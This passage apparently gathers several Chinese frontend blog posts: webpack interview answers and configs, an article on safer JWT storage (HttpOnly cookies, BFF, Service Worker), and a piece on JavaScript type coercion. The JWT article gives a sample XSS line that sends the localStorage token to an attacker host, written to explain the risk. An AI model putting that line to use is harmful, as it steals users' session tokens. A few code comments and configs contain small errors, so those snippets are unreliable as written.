  },
  './src/utils.js': {
    dependencies: [],
    code: '...'
  }
};

4. Webpack的Chunk是什么?它是如何生成的?

Chunk是Webpack打包过程中的代码块,是Bundle的中间产物。

Chunk类型:

  • Entry Chunk:入口文件对应的chunk
  • Normal Chunk:通过splitChunks分离的chunk
  • Initial Chunk:初始加载的chunk
  • Async Chunk:异步加载的chunk

生成过程:

// webpack.config.js
module.exports = {
  optimization: {
    splitChunks: {
      chunks: 'all',
      cacheGroups: {
        vendor: {
          test: /[\\/]node_modules[\\/]/,
          name: 'vendors',
          chunks: 'all'
        }
      }
    }
  }
};

5. Webpack的Bundle是如何生成的?

Bundle是最终输出的文件,由一个或多个Chunk组成。

生成流程:

  1. 模块解析:解析所有模块依赖
  2. Chunk生成:根据配置生成chunk
  3. 代码生成:将chunk转换为可执行代码
  4. 文件输出:写入文件系统
// 简化的Bundle生成过程
class Compilation {
  seal() {
    // 1. 优化依赖
    this.optimizeDependencies();
    
    // 2. 创建chunk
    this.createChunks();
    
    // 3. 优化chunk
    this.optimizeChunks();
    
    // 4. 生成代码
    this.createChunkAssets();
  }
}

6. Webpack的HMR(热更新)原理是什么?

HMR允许在运行时更新模块而无需完整刷新页面。

工作原理:

  1. 文件监听:webpack-dev-server监听文件变化
  2. 增量编译:只编译变化的模块
  3. 推送更新:通过WebSocket推送更新信息
  4. 模块替换:客户端接收更新并替换模块
// HMR客户端代码
if (module.hot) {
  module.hot.accept('./component.js', function() {
    // 模块更新时的处理逻辑
    const newComponent = require('./component.js');
    // 更新组件
  });
}

7. Webpack的Tree Shaking原理是什么?

Tree Shaking用于消除未使用的代码(死代码消除)。

原理:

  • 基于ES6模块的静态结构
  • 分析import/export语句
  • 标记未使用的导出
  • 在压缩阶段删除死代码
// utils.js
export function usedFunction() { /* ... */ }
export function unusedFunction() { /* ... */ } // 会被tree shaking

// main.js
import { usedFunction } from './utils.js'; // 只导入使用的函数

8. Webpack的Loader和Plugin的执行顺序是怎样的?

Loader执行顺序:

  • 从右到左,从下到上执行
  • 链式调用,前一个loader的输出是下一个的输入
module.exports = {
  module: {
    rules: [
      {
        test: /\.scss$/,
        use: [
          'style-loader',    // 3. 最后执行
          'css-loader',      // 2. 第二执行
          'sass-loader'      // 1. 首先执行
        ]
      }
    ]
  }
};

Plugin执行顺序:

  • 按照在plugins数组中的顺序执行
  • 通过Hook系统在特定时机执行

9. Webpack的构建流程分为哪些阶段?

主要阶段:

  1. 初始化:读取配置,创建Compiler实例
  2. 编译:从入口开始,递归解析模块
  3. 构建:调用loader处理模块,生成AST
  4. 优化:优化模块和chunk
  5. 输出:生成最终文件
// 简化的构建流程
class Compiler {
  run() {
    // 1. 初始化
    this.hooks.beforeRun.call();
    
    // 2. 编译
    this.compile();
    
    // 3. 输出
    this.emitAssets();
  }
  
  compile() {
    const compilation = new Compilation();
    compilation.build();
  }
}

10. 如何实现一个简易的Webpack?

// mini-webpack.js
const fs = require('fs');
const path = require('path');
const babel = require('@babel/core');

class MiniWebpack {
  constructor(options) {
    this.entry = options.entry;
    this.output = options.output;
    this.modules = [];
  }
  
  // 解析模块
  parseModule(filename) {
    const content = fs.readFileSync(filename, 'utf-8');
    
    // 使用babel解析AST
    const ast = babel.parseSync(content, {
      sourceType: 'module'
    });
    
    const dependencies = [];
    
    // 遍历AST,收集依赖
    babel.traverse(ast, {
      ImportDeclaration({ node }) {
        dependencies.push(node.source.value);
      }
    });
    
    // 转换代码
    const { code } = babel.transformFromAstSync(ast, null, {
      presets: ['@babel/preset-env']
    });
    
    return {
      filename,
      dependencies,
      code
    };
  }
  
  // 构建依赖图
  buildDependencyGraph() {
    const entryModule = this.parseModule(this.entry);
    const graphArray = [entryModule];
    
    for (let i = 0; i < graphArray.length; i++) {
      const module = graphArray[i];
      
      module.dependencies.forEach(relativePath => {
        const absolutePath = path.join(path.dirname(module.filename), relativePath);
        const childModule = this.parseModule(absolutePath);
        graphArray.push(childModule);
      });
    }
    
    return graphArray;
  }
  
  // 生成bundle
  generateBundle(graph) {
    let modules = '';
    
    graph.forEach(module => {
      modules += `'${module.filename}': function(require, module, exports) {
        ${module.code}
      },`;
    });
    
    return `
      (function(modules) {
        function require(id) {
          const [fn, mapping] = modules[id];
          const module = { exports: {} };
          
          fn(require, module, module.exports);
          
          return module.exports;
        }
        
        require('${this.entry}');
      })({${modules}})
    `;
  }
  
  // 运行构建
  run() {
    const graph = this.buildDependencyGraph();
    const bundle = this.generateBundle(graph);
    
    fs.writeFileSync(this.output.path, bundle);
  }
}

七、常见问题与解决方案

1. Webpack打包速度慢,如何优化?

优化策略:

module.exports = {
  // 1. 缓存
  cache: {
    type: 'filesystem'
  },
  
  // 2. 多进程
  module: {
    rules: [
      {
        test: /\.js$/,
        use: [
          {
            loader: 'thread-loader',
            options: {
              workers: 2
            }
          },
          'babel-loader'
        ]
      }
    ]
  },
  
  // 3. 减少解析范围
  resolve: {
    modules: [path.resolve(__dirname, 'node_modules')],
    extensions: ['.js', '.jsx'],
    alias: {
      '@': path.resolve(__dirname, 'src')
    }
  },
  
  // 4. DLL预编译
  plugins: [
    new webpack.DllReferencePlugin({
      manifest: require('./dist/vendor-manifest.json')
    })
  ]
};

2. Webpack打包体积过大,如何优化?

module.exports = {
  // 1. 代码分割
  optimization: {
    splitChunks: {
      chunks: 'all',
      cacheGroups: {
        vendor: {
          test: /[\\/]node_modules[\\/]/,
          name: 'vendors',
          chunks: 'all'
        }
      }
    }
  },
  
  // 2. Tree Shaking
  mode: 'production',
  
  // 3. 压缩
  optimization: {
    minimizer: [
      new TerserPlugin({
        terserOptions: {
          compress: {
            drop_console: true
          }
        }
      })
    ]
  },
  
  // 4. 按需加载
  plugins: [
    new webpack.optimize.ModuleConcatenationPlugin()
  ]
};

3. Webpack如何处理跨域问题?

// webpack.config.js
module.exports = {
  devServer: {
    proxy: {
      '/api': {
        target: 'http://localhost:3000',
        changeOrigin: true,
        pathRewrite: {
          '^/api': ''
        }
      }
    }
  }
};

4. Webpack如何处理CSS样式冲突?

module.exports = {
  module: {
    rules: [
      {
        test: /\.module\.css$/,
        use: [
          'style-loader',
          {
            loader: 'css-loader',
            options: {
              modules: {
                localIdentName: '[name]__[local]--[hash:base64:5]'
              }
            }
          }
        ]
      }
    ]
  }
};

5. Webpack如何处理第三方库的按需加载?

// babel.config.js
module.exports = {
  plugins: [
    [
      'import',
      {
        libraryName: 'antd',
        libraryDirectory: 'es',
        style: 'css'
      }
    ]
  ]
};

// 使用
import { Button } from 'antd'; // 只会打包Button组件

6. Webpack如何处理多环境配置?

// webpack.common.js
const common = {
  entry: './src/index.js',
  module: {
    rules: [
      // 通用规则
    ]
  }
};

// webpack.dev.js
const { merge } = require('webpack-merge');
const common = require('./webpack.common.js');

module.exports = merge(common, {
  mode: 'development',
  devtool: 'inline-source-map',
  devServer: {
    contentBase: './dist'
  }
});

// webpack.prod.js
module.exports = merge(common, {
  mode: 'production',
  optimization: {
    minimizer: [new TerserPlugin()]
  }
});

7. Webpack如何处理ES6+语法?

module.exports = {
  module: {
    rules: [
      {
        test: /\.js$/,
        exclude: /node_modules/,
        use: {
          loader: 'babel-loader',
          options: {
            presets: [
              [
                '@babel/preset-env',
                {
                  targets: {
                    browsers: ['> 1%', 'last 2 versions']
                  },
                  useBuiltIns: 'usage',
                  corejs: 3
                }
              ]
            ]
          }
        }
      }
    ]
  }
};

8. Webpack如何处理图片和字体文件的路径问题?

module.exports = {
  module: {
    rules: [
      {
        test: /\.(png|svg|jpg|jpeg|gif)$/i,
        type: 'asset/resource',
        generator: {
          filename: 'images/[name].[hash][ext]'
        }
      },
      {
        test: /\.(woff|woff2|eot|ttf|otf)$/i,
        type: 'asset/resource',
        generator: {
          filename: 'fonts/[name].[hash][ext]'
        }
      }
    ]
  },
  
  output: {
    publicPath: '/static/'
  }
};

9. Webpack如何处理多语言(i18n)?

// webpack.config.js
const webpack = require('webpack');

module.exports = {
  plugins: [
    new webpack.DefinePlugin({
      'process.env.LOCALE': JSON.stringify(process.env.LOCALE || 'en')
    })
  ]
};

// 动态导入语言包
async function loadLocale(locale) {
  const messages = await import(`./locales/${locale}.json`);
  return messages.default;
}

10. Webpack如何处理Polyfill?

// webpack.config.js
module.exports = {
  entry: {
    polyfills: './src/polyfills.js',
    main: './src/index.js'
  }
};

// polyfills.js
import 'core-js/stable';
import 'regenerator-runtime/runtime';

// 或者使用@babel/preset-env自动polyfill
// babel.config.js
module.exports = {
  presets: [
    [
      '@babel/preset-env',
      {
        useBuiltIns: 'usage',
        corejs: 3
      }
    ]
  ]
};

八、实战场景

1. 如何用Webpack搭建一个React项目?

// webpack.config.js
const path = require('path');
const HtmlWebpackPlugin = require('html-webpack-plugin');
const { CleanWebpackPlugin } = require('clean-webpack-plugin');

module.exports = {
  entry: './src/index.js',
  
  output: {
    path: path.resolve(__dirname, 'dist'),
    filename: '[name].[contenthash].js',
    publicPath: '/'
  },
  
  module: {
    rules: [
      {
        test: /\.(js|jsx)$/,
        exclude: /node_modules/,
        use: {
          loader: 'babel-loader',
          options: {
            presets: [
              '@babel/preset-env',
              '@babel/preset-react'
            ]
          }
        }
      },
      {
        test: /\.css$/,
        use: ['style-loader', 'css-loader']
      },
      {
        test: /\.(png|svg|jpg|jpeg|gif)$/i,
        type: 'asset/resource'
      }
    ]
  },
  
  plugins: [
    new CleanWebpackPlugin(),
    new HtmlWebpackPlugin({
      template: './public/index.html'
    })
  ],
  
  resolve: {
    extensions: ['.js', '.jsx']
  },
  
  devServer: {
    contentBase: path.join(__dirname, 'dist'),
    port: 3000,
    hot: true,
    historyApiFallback: true
  }
};

2. 如何用Webpack搭建一个Vue项目?

// webpack.config.js
const { VueLoaderPlugin } = require('vue-loader');
const HtmlWebpackPlugin = require('html-webpack-plugin');

module.exports = {
  entry: './src/main.js',
  
  module: {
    rules: [
      {
        test: /\.vue$/,
        loader: 'vue-loader'
      },
      {
        test: /\.js$/,
        loader: 'babel-loader',
        exclude: /node_modules/
      },
      {
        test: /\.css$/,
        use: [
          'vue-style-loader',
          'css-loader'
        ]
      },
      {
        test: /\.scss$/,
        use: [
          'vue-style-loader',
          'css-loader',
          'sass-loader'
        ]
      }
    ]
  },
  
  plugins: [
    new VueLoaderPlugin(),
    new HtmlWebpackPlugin({
      template: './public/index.html'
    })
  ],
  
  resolve: {
    alias: {
      'vue$': 'vue/dist/vue.esm.js',
      '@': path.resolve(__dirname, 'src')
    },
    extensions: ['*', '.js', '.vue', '.json']
  }
};

3. 如何用Webpack搭建一个TypeScript项目?

// webpack.config.js
module.exports = {
  entry: './src/index.ts',
  
  module: {
    rules: [
      {
        test: /\.tsx?$/,
        use: 'ts-loader',
        exclude: /node_modules/
      }
    ]
  },
  
  resolve: {
    extensions: ['.tsx', '.ts', '.js']
  },
  
  plugins: [
    new ForkTsCheckerWebpackPlugin()
  ]
};

// tsconfig.json
{
  "compilerOptions": {
    "target": "es5",
    "lib": ["dom", "dom.iterable", "es6"],
    "allowJs": true,
    "skipLibCheck": true,
    "esModuleInterop": true,
    "allowSyntheticDefaultImports": true,
    "strict": true,
    "forceConsistentCasingInFileNames": true,
    "moduleResolution": "node",
    "resolveJsonModule": true,
    "isolatedModules": true,
    "noEmit": true,
    "jsx": "react-jsx"
  },
  "include": ["src"]
}

4. 如何用Webpack实现多页面应用(MPA)?

// webpack.config.js
const glob = require('glob');
const path = require('path');
const HtmlWebpackPlugin = require('html-webpack-plugin');

// 动态获取入口文件
function getEntries() {
  const entries = {};
  const entryFiles = glob.sync('./src/pages/*/index.js');
  
  entryFiles.forEach(file => {
    const match = file.match(/\/pages\/(.*)\/index\.js/);
    const pageName = match && match[1];
    if (pageName) {
      entries[pageName] = file;
    }
  });
  
  return entries;
}

// 生成HTML插件
function getHtmlPlugins() {
  const entries = getEntries();
  return Object.keys(entries).map(name => {
    return new HtmlWebpackPlugin({
      template: `./src/pages/${name}/index.html`,
      filename: `${name}.html`,
      chunks: [name, 'vendor', 'common']
    });
  });
}

module.exports = {
  entry: getEntries(),
  
  output: {
    path: path.resolve(__dirname, 'dist'),
    filename: '[name]/[name].[contenthash].js'
  },
  
  optimization: {
    splitChunks: {
      cacheGroups: {
        vendor: {
          test: /[\\/]node_modules[\\/]/,
          name: 'vendor',
          chunks: 'all'
        },
        common: {
          name: 'common',
          minChunks: 2,
          chunks: 'all'
        }
      }
    }
  },
  
  plugins: [
    ...getHtmlPlugins()
  ]
};

5. 如何用Webpack实现微前端架构?

// 主应用配置
const ModuleFederationPlugin = require('@module-federation/webpack');

module.exports = {
  plugins: [
    new ModuleFederationPlugin({
      name: 'shell',
      remotes: {
        mf1: 'mf1@http://localhost:3001/remoteEntry.js',
        mf2: 'mf2@http://localhost:3002/remoteEntry.js'
      }
    })
  ]
};

// 微应用配置
module.exports = {
  plugins: [
    new ModuleFederationPlugin({
      name: 'mf1',
      filename: 'remoteEntry.js',
      exposes: {
        './App': './src/App'
      },
      shared: {
        react: { singleton: true },
        'react-dom': { singleton: true }
      }
    })
  ]
};

// 使用微应用
const RemoteApp = React.lazy(() => import('mf1/App'));

function App() {
  return (
    <Suspense fallback={<div>Loading...</div>}>
      <RemoteApp />
    </Suspense>
  );
}

6. 如何用Webpack实现PWA(渐进式Web应用)?

// webpack.config.js
const WorkboxPlugin = require('workbox-webpack-plugin');
const WebpackPwaManifest = require('webpack-pwa-manifest');

module.exports = {
  plugins: [
    new WebpackPwaManifest({
      name: 'My Progressive Web App',
      short_name: 'MyPWA',
      description: 'My awesome Progressive Web App!',
      background_color: '#ffffff',
      theme_color: '#000000',
      start_url: '/',
      display: 'standalone',
      icons: [
        {
          src: path.resolve('src/assets/icon.png'),
          sizes: [96, 128, 192, 256, 384, 512]
        }
      ]
    }),
    
    new WorkboxPlugin.GenerateSW({
      clientsClaim: true,
      skipWaiting: true,
      runtimeCaching: [
        {
          urlPattern: /^https:\/\/api\./,
          handler: 'NetworkFirst',
          options: {
            cacheName: 'api-cache'
          }
        }
      ]
    })
  ]
};

7. 如何用Webpack实现SSR(服务端渲染)?

// webpack.server.js
const path = require('path');
const nodeExternals = require('webpack-node-externals');

module.exports = {
  target: 'node',
  entry: './src/server/index.js',
  
  output: {
    path: path.resolve(__dirname, 'dist'),
    filename: 'server.js'
  },
  
  externals: [nodeExternals()],
  
  module: {
    rules: [
      {
        test: /\.(js|jsx)$/,
        use: 'babel-loader',
        exclude: /node_modules/
      }
    ]
  }
};

// server/index.js
import React from 'react';
import { renderToString } from 'react-dom/server';
import App from '../App';

app.get('*', (req, res) => {
  const html = renderToString(<App />);
  
  res.send(`
    <!DOCTYPE html>
    <html>
      <head><title>SSR App</title></head>
      <body>
        <div id="root">${html}</div>
        <script src="/client.js"></script>
      </body>
    </html>
  `);
});

8. 如何用Webpack实现组件库的打包?

// webpack.config.js
module.exports = {
  entry: {
    index: './src/index.js'
  },
  
  output: {
    path: path.resolve(__dirname, 'lib'),
    filename: '[name].js',
    library: 'MyComponentLib',
    libraryTarget: 'umd',
    globalObject: 'this'
  },
  
  externals: {
    react: {
      commonjs: 'react',
      commonjs2: 'react',
      amd: 'react',
      root: 'React'
    },
    'react-dom': {
      commonjs: 'react-dom',
      commonjs2: 'react-dom',
      amd: 'react-dom',
      root: 'ReactDOM'
    }
  },
  
  module: {
    rules: [
      {
        test: /\.(js|jsx)$/,
        use: 'babel-loader',
        exclude: /node_modules/
      },
      {
        test: /\.css$/,
        use: [
          'style-loader',
          'css-loader',
          'postcss-loader'
        ]
      }
    ]
  }
};

9. 如何用Webpack实现库的打包(如UMD、CommonJS、ES Module)?

// webpack.config.js
const path = require('path');

module.exports = [
  // UMD build
  {
    entry: './src/index.js',
    output: {
      path: path.resolve(__dirname, 'dist'),
      filename: 'mylib.umd.js',
      library: 'MyLib',
      libraryTarget: 'umd',
      globalObject: 'this'
    }
  },
  
  // CommonJS build
  {
    entry: './src/index.js',
    output: {
      path: path.resolve(__dirname, 'dist'),
      filename: 'mylib.cjs.js',
      libraryTarget: 'commonjs2'
    }
  },
  
  // ES Module build
  {
    entry: './src/index.js',
    experiments: {
      outputModule: true
    },
    output: {
      path: path.resolve(__dirname, 'dist'),
      filename: 'mylib.esm.js',
      library: {
        type: 'module'
      }
    }
  }
];

// package.json
{
  "main": "dist/mylib.cjs.js",
  "module": "dist/mylib.esm.js",
  "browser": "dist/mylib.umd.js"
}

10. 如何用Webpack实现自动化部署?

// webpack.config.js
const S3Plugin = require('webpack-s3-plugin');

module.exports = {
  plugins: [
    new S3Plugin({
      s3Options: {
        accessKeyId: process.env.AWS_ACCESS_KEY_ID,
        secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
        region: 'us-west-2'
      },
      s3UploadOptions: {
        Bucket: 'my-webpack-s3-bucket'
      }
    })
  ]
};

// 或者使用自定义插件
class DeployPlugin {
  apply(compiler) {
    compiler.hooks.afterEmit.tapAsync('DeployPlugin', (compilation, callback) => {
      // 部署逻辑
      console.log('Deploying to server...');
      callback();
    });
  }
}

九、工具与生态

1. Webpack DevServer和Webpack的区别是什么?

Webpack:

  • 静态构建工具
  • 生成物理文件
  • 用于生产环境打包

Webpack DevServer:

  • 开发服务器
  • 内存中构建,不生成物理文件
  • 提供热更新、代理等开发功能
// webpack-dev-server配置
module.exports = {
  devServer: {
    contentBase: './dist',
    hot: true,
    port: 3000,
    proxy: {
      '/api': 'http://localhost:8080'
    }
  }
};

2. Webpack和Vite的区别是什么?

特性 Webpack Vite
构建方式 Bundle-based ESM + Rollup
开发启动速度 慢(需要打包) 快(按需编译)
热更新速度 相对慢 非常快
生产构建 成熟稳定 基于Rollup
生态系统 非常丰富 快速发展
配置复杂度 较复杂 相对简单

3. Webpack和Rollup的区别是什么?

Webpack:

  • 适合应用程序打包
  • 强大的代码分割
  • 丰富的插件生态
  • 支持各种资源类型

Rollup:

  • 适合库的打包
  • 更好的Tree Shaking
  • 输出更小的bundle
  • ES6模块优先

4. Webpack和Parcel的区别是什么?

Webpack:

  • 需要配置
  • 灵活性高
  • 学习曲线陡峭

Parcel:

  • 零配置
  • 开箱即用
  • 自动依赖解析
  • 内置优化

5. Webpack和Snowpack的区别是什么?

Webpack:

  • Bundle-based构建
  • 成熟的生态系统

Snowpack:

  • Unbundled开发
  • 利用ESM
  • 更快的开发体验
  • 生产环境可选择不同打包器

6. Webpack和Esbuild的区别是什么?

Webpack:

  • JavaScript编写
  • 功能全面
  • 插件丰富

Esbuild:

  • Go语言编写
  • 极快的构建速度
  • 功能相对简单
  • 主要用作转译器

7. Webpack和Babel的关系是什么?

// Webpack使用Babel进行代码转换
module.exports = {
  module: {
    rules: [
      {
        test: /\.js$/,
        use: {
          loader: 'babel-loader',
          options: {
            presets: ['@babel/preset-env']
          }
        }
      }
    ]
  }
};

关系:

  • Webpack负责模块打包
  • Babel负责代码转换
  • 通过babel-loader集成

8. Webpack和ESLint/Prettier如何结合使用?

// webpack.config.js
module.exports = {
  module: {
    rules: [
      {
        test: /\.js$/,
        enforce: 'pre',
        use: ['eslint-loader'],
        exclude: /node_modules/
      }
    ]
  }
};

// .eslintrc.js
module.exports = {
  extends: ['eslint:recommended'],
  rules: {
    'no-console': 'warn'
  }
};

前端鉴权新时代:告别 localStorage,拥抱更安全的 JWT 存储方案

作者 大知闲闲i
2025年10月20日 11:42

如果你是一名前端开发者,下面这行代码可能早已成为你的肌肉记忆:

localStorage.setItem('token', jwtToken);

简单、直接、有效。多年来,将 JWT 存储在 localStorage 中似乎是前后端分离架构下的"标准答案"。但随着网络安全威胁的不断演进,这个曾经的"最佳实践"如今已成为巨大的安全隐患。

2025 年即将到来,前端生态日新月异。如果我们仍在沿用旧的鉴权模式,无异于将精心构建的应用暴露在风险之中。是时候更新我们的知识库,拥抱更安全的鉴权新思路了。

localStorage 的安全隐患:为何它不再适用?

localStorage 的核心问题在于其对 XSS 攻击的脆弱性。

XSS 攻击原理

XSS 攻击是指攻击者在我们的网站上注入并执行恶意 JavaScript 脚本。注入途径多样,可能是用户渲染的恶意评论,也可能是包含恶意代码的 URL 参数。

XSS 如何窃取 localStorage 中的 Token

一旦恶意脚本在页面上成功执行,它就拥有了与我们前端代码几乎相同的权限。攻击者只需一行简单代码,就能将存储的 JWT 发送到自己的服务器:

// 恶意脚本示例
fetch('https://attacker-server.com/steal?token=' + localStorage.getItem('token'));

Token 一旦被盗,攻击者就能冒充用户身份,访问所有依赖该 Token 的后端接口,造成毁灭性后果。

结论:localStorage 本质上是对 JavaScript 完全开放的沙盒。任何能在我们页面上执行的脚本都能读写其中所有数据。将敏感的用户身份凭证存放在此,就像把家门钥匙挂在门外的钉子上——方便了自己,也方便了小偷。

传统解决方案:HttpOnly Cookie 的利与弊

为解决 XSS 盗取 Token 的问题,社区提出了经典方案:使用 HttpOnly Cookie。

当服务器设置 Cookie 时添加 HttpOnly 标志,该 Cookie 将无法通过客户端 JavaScript 访问,浏览器只会在发送 HTTP 请求时自动携带它。

优势

  • 有效防御 XSS 盗取:JavaScript 无法读取,XSS 攻击者无法直接窃取 Token

  • 浏览器自动管理:无需前端代码手动在每个请求头中添加 Authorization

挑战:CSRF 攻击

HttpOnly Cookie 带来了新的安全挑战——CSRF 攻击。

CSRF 攻击指攻击者诱导已登录用户从恶意网站发起非本意的请求。例如,用户登录了 bank.com 后访问 evil.com,该网站上的自动提交表单会向 bank.com 的转账接口发起请求,浏览器自动携带 Cookie 完成转账。

解决方案

  • SameSite 属性:将 Cookie 的 SameSite 属性设置为 Strict 或 Lax,有效阻止跨站请求携带 Cookie

  • CSRF Token:服务器生成随机 CSRF Token,前端在状态变更请求中携带,服务器进行验证

HttpOnly Cookie 方案虽然可行,但要求后端进行精细的 Cookie 配置和 CSRF 防御,对于现代前后端分离、特别是跨域调用场景,配置复杂度较高。

2025 年前端鉴权新思路

有没有既能有效防范 XSS,又能优雅适应现代前端架构的方案?以下是两种值得在 2025 年及以后重点关注的鉴权模式。

方案一:BFF + Cookie 模式

BFF 模式在前端应用和后端微服务之间增加"服务于前端的后端"层,专门负责鉴权、API 聚合和数据转换。

鉴权流程
  1. 登录:前端将用户名密码发送给 BFF

  2. 认证与换取:BFF 将凭证发送给认证服务,获取 JWT

  3. 设置安全 Cookie:BFF 创建会话,将 Session ID 存储在安全的 HttpOnly、SameSite=Strict Cookie 中返回给浏览器

  4. API 请求:前端向 BFF 发起所有 API 请求,浏览器自动携带 Session Cookie

  5. 代理与鉴权:BFF 通过 Session Cookie 找到对应会话和 JWT,将 JWT 添加到请求头中转发给后端微服务

优势
  • 极致安全:JWT 完全不暴露给前端,XSS 攻击者无从窃取

  • 前端无感:前端开发者无需关心 Token 的存储、刷新和携带

  • 架构清晰:BFF 层处理所有安全和服务通信复杂逻辑,前端专注 UI

缺点
  • 增加了架构复杂度,需要额外维护 BFF 服务

方案二:Service Worker + 内存存储

这是更"激进"的纯前端方案,利用 Service Worker 的强大能力。

鉴权流程
  1. 登录:主线程登录成功后,通过 postMessage 将 JWT 发送给激活的 Service Worker

  2. 内存存储:Service Worker 将 Token 存储在自身作用域内的变量中(内存中),不使用 localStorage 或 IndexedDB

  3. 拦截请求:前端应用发起 API 请求,但不添加 Authorization 头

  4. 注入 Token:Service Worker 监听 fetch 事件,拦截所有出站 API 请求,克隆原始请求并将内存中的 Token 添加到新请求的 Authorization 头中

  5. 发送请求:Service Worker 将带有 Token 的新请求发送到网络

优势
  • 有效隔离:Token 存储在 Service Worker 的独立运行环境中,与主线程的 window 对象隔离,常规 XSS 脚本无法访问

  • 逻辑集中:Token 刷新逻辑可封装在 Service Worker 中,对应用代码完全透明

  • 无需额外服务:相比 BFF,这是纯前端解决方案

缺点
  • 实现复杂,Service Worker 的生命周期和通信机制比 localStorage 复杂得多

  • 需考虑浏览器兼容性及 Service Worker 被意外终止或更新的场景

方案对比

方案

防御 XSS 窃取

防御 CSRF

前端复杂度

后端/架构复杂度

推荐场景

localStorage

❌ 极差

✅ 天然免疫

⭐ 极低

⭐ 极低

不推荐用于生产环境的敏感数据

HttpOnly Cookie

✅ 优秀

⚠️ 需手动防御

⭐⭐ 较低

⭐⭐⭐ 中等

传统 Web 应用,或有能力处理 CSRF 的团队

BFF + Cookie

✅✅ 顶级

✅✅ 顶级

⭐ 极低

⭐⭐⭐⭐ 较高

中大型应用,微服务架构,追求极致安全与清晰分层

Service Worker

✅ 优秀

✅ 天然免疫

⭐⭐⭐⭐ 较高

⭐ 极低

PWA,追求纯前端解决方案,愿意接受更高复杂度的创新项目

总结与建议

将 JWT 存储在 localStorage 的时代正在过去。这不是危言耸听,而是对日益严峻的网络安全形势的积极响应。

  • 对于新项目或有重构计划的项目,强烈建议采用 BFF + Cookie 模式。虽然增加了架构成本,但换来的是顶级的安全性和清晰的职责划分,从长远看是值得的投资。

  • 对于追求极致前端技术或构建 PWA 的团队,Service Worker 方案提供了充满想象力的选择,能够将安全边界控制在前端内部。

  • 如果应用规模较小且暂时无法引入 BFF,HttpOnly Cookie 配合严格的 SameSite 策略和 CSRF Token,依然是比 localStorage 安全得多的可靠选择。

安全不是可选项,而是必选项。在 2025 年即将到来之际,让我们共同构建更安全、更健壮的前端应用。

面试官:[1] == '1'和[1] == 1结果是什么?

作者 小奋斗
2025年10月20日 11:08

1.前言

console.log([1] == 1);          // true 
console.log([1] == '1');        // true 

小伙们,蒙对了么?是不是脑袋里面一个大大的问号。

2.什么是隐式类型转换

上面的面试题虽然简简单单两行,包含的知识点其实就是我们前端程序员都熟悉的隐式类型转换

隐式类型转换是指编译器自动完成类型转换的方式,总是期望转成基本类型的值

3.触发隐式类型转换的场景

  • 算术运算符(+-*/%)
  • 关系运算符<、>、 <=、 >= 、== 、!=等
  • 逻辑运算符!、&&、||
  • 条件语句if、while、三目运算符
  • 属性键遍历,比如for...in
  • 模板字符串${}

今天重点说一下双等号的基础类型的隐式转换,和对象类型的隐式转换

4.基础类型的隐式转换

4.1 ==比较基础类型的隐式转换

image.png


// null 和 undefined
console.log(null == undefined);  // true
console.log(null == 0);         // false
console.log(undefined == '');    // false

// 数字 vs 字符串
console.log(0 == '');           // true ('' → 0)
console.log(1 == '1');          // true ('1' → 1)
console.log(1 == '1.0');        // true
console.log(1 == '1abc');       // false ('1abc' → NaN)

// 布尔值 vs 其他
console.log(true == 1);         // true (true → 1)
console.log(false == 0);        // true (false → 0)
console.log(true == '1');       // true (true→1, '1'→1)
console.log(false == '');       // true (false→0, ''→0)

// 特殊情况
console.log(NaN == NaN);        // false
console.log([] == ![]);         // true (![] → false → 0, [] → '' → 0)

其他能够引发基础类型的隐式转换的场景还有很多,后面继续补充

5. 对象隐式转换规则

对象隐式转换主要三要素: Symbol.toPrimitiveObject.prototype.valueOf()Object.prototype.toString()

  1. 如果对象定义了Symbol.toPrimitive方法,那会优先调用,无视valueOf()和toString()方法
  2. 如果对象未定义Symbol.toPrimitive方法,那会根据期望的基本类型进行隐式转换,如果期望类型是string,就会先调用obj.toString(),如果没有得到原始值,则继续调用obj.valueOf()方法,返回原始值
  3. 如果对象未定义Symbol.toPrimitive方法,那会根据期望的基本类型进行隐式转换,如果期望类型是number,就会先调用obj.valueOf(),如果没有得到原始值,则继续调用obj.toString()方法,返回原始值
  4. 如果对象未定义Symbol.toPrimitive方法,期望值是基础类型(比如:string),同时toString()和valueOf都没有返回原始值,会直接报错
const obj = {
    age: 10,
    valueOf() {
        return this
    },
    toString() {
        return this
    }
}
console.log(obj + '') //Cannot convert object to primitive value

5.1 Symbol.toPrimitive

The Symbol.toPrimitive well-known symbol specifies a method that accepts a preferred type and returns a primitive representation of an object. It is called in priority by all type coercion algorithms.-来自MDN

理解:Symbol.toPrimitive是可以接受编译器指定的期望基本类型并返回对象原始值的方法。在转换基本类型过程中,总是被优先调用。

Symbol.toPrimitive有一个参数hint,hint在规范协议里面默认是'default',有三个可选值:'string'、'number'、'default'。hint会根据期望值去选定参数

5.1.1 触发hint是string的情况

  • window.alert(obj)
  • 模板字符串:${obj}
  • 成为的对象属性:test[obj] = obj1
const obj = {
    [Symbol.toPrimitive](hint){
        if(hint === 'number') {
            return 10
        } else if(hint === 'string') {
            return 'hello'
        }
        return true
    }
}
window.alert(obj) // hello
console.log(`${obj}`) // hello
obj[obj] = 1
console.log(Object.keys(obj)) //['hello']

5.1.2 触发hint是number的情况

  • 一元+、位移运算
  • -减法、*乘法、/除法、关系运算符(<、>、 <=、 >= 、== 、!=)
  • Math.pow、String.prototype.slice等内部方法
const obj = {
    [Symbol.toPrimitive](hint){
        if(hint === 'number') {
            return 10
        } else if(hint === 'string') {
            return 'hello'
        }
        return true
    }
}
console.log('一元+:',+obj) //一元+: 10
console.log('位移:',obj >> 0) //位移: 10

console.log('减法:',5-obj) //减法: -5
console.log('乘法:',5*obj) //乘法: 50
console.log('除法:',5/obj) //除法: 0.5

console.log('大于:',5>obj) //大于: false
console.log('大于等于:',5>=obj) //大于等于: false

console.log('Math.pow:',Math.pow(2,obj)) //Math.pow: 1024
console.log('内部方法:','abcdefghijklmnopq'.slice(0,obj)) //内部方法: abcdefghij

5.1.3 触发hint是default的情况

  • 二元+
  • ==、!=
const obj = {
    [Symbol.toPrimitive](hint){
        if(hint === 'number') {
            return 10
        } else if(hint === 'string') {
            return 'hello'
        }
        return true
    }
}
console.log(5 + obj) //6
console.log(5 == obj) //false
console.log(0 != obj) // true

首先会返回default时候的原始值,若没有再默认调用vlaueOf(除了Date对象)

const obj = {
    [Symbol.toPrimitive](hint){
        if(hint === 'number') {
            return 10
        } else if(hint === 'string') {
            return 'hello'
        }
        // return true
    }
}
console.log(obj.valueOf()) //NaN
console.log(1+obj) //NaN

5.2 Object.prototype.valueOf

在未定义Symbol.toPrimitive方法时候,期望类型是number,所以会直接执行valueOf()方法

const obj = {
